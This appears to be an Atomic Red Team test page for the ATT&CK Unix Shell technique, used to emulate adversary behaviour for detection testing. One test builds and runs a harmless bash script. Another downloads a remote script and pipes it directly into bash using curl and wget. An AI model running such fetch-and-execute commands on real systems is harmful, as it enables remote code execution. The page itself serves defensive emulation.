# T1059.004 - Unix Shell
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1059/004)
<blockquote>Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Create and Execute Bash Shell Script](#atomic-test-1---create-and-execute-bash-shell-script)

- [Atomic Test #2 - Command-Line Interface](#atomic-test-2---command-line-interface)


<br/>

## Atomic Test #1 - Create and Execute Bash Shell Script
Creates and executes a simple bash script.

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_path | Script path | Path | /tmp/art.sh|


#### Attack Commands: Run with `sh`! 


```sh
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 8.8.8.8' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
```

#### Cleanup Commands:
```sh
rm #{script_path}
```





<br/>
<br/>

## Atomic Test #2 - Command-Line Interface
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** d0c88567-803d-4dca-99b4-7ce65e7b257c






#### Attack Commands: Run with `sh`! 


```sh
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
```

#### Cleanup Commands:
```sh
rm /tmp/art-fish.txt
```





<br/>
